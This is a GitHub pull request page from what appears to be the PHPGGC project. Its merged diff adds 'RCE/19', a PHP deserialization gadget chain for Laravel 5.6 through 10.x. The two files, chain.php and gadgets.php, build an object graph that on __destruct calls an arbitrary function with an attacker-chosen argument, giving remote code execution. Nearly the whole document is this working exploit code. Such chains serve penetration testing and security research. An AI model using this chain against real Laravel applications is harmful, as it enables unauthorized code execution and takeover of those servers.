Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Laravel: Added RCE/19, which targets Laravel versions 5.6 <= 10.x #172

Merged
merged 1 commit into from
Dec 1, 2023
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
18 changes: 18 additions & 0 deletions gadgetchains/Laravel/RCE/19/chain.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,18 @@
<?php

namespace GadgetChain\Laravel;

class RCE19 extends \PHPGGC\GadgetChain\RCE\FunctionCall
{
public static $version = '5.6 <= 10.x';
public static $vector = '__destruct';
public static $author = 'coiffeur';

public function generate(array $parameters)
{
return new \Illuminate\Routing\PendingResourceRegistration(
$parameters['function'],
$parameters['parameter']
);
}
}
53 changes: 53 additions & 0 deletions gadgetchains/Laravel/RCE/19/gadgets.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
<?php

namespace Illuminate\Auth
{
class RequestGuard
{
protected $callback;
protected $request;
protected $provider;
public function __construct($callback, $request)
{
$this->callback = $callback;
$this->request = $request;
$this->provider = 1;
}
}
}

namespace Illuminate\Validation\Rules
{
class RequiredIf
{
public $condition;
public function __construct($func, $arg)
{
$this->condition = [new \Illuminate\Auth\RequestGuard($func, $arg), "user"];
}
}
}

namespace Illuminate\Routing
{
class ResourceRegistrar
{
protected $router;
public function __construct()
{
$this->router = null;
}
}

class PendingResourceRegistration
{
protected $registrar;
protected $name;
protected $registered = false;
public function __construct($func, $arg)
{
$this->registrar = new \Illuminate\Routing\ResourceRegistrar();
$this->name = new \Illuminate\Validation\Rules\RequiredIf($func, $arg);
}
}
}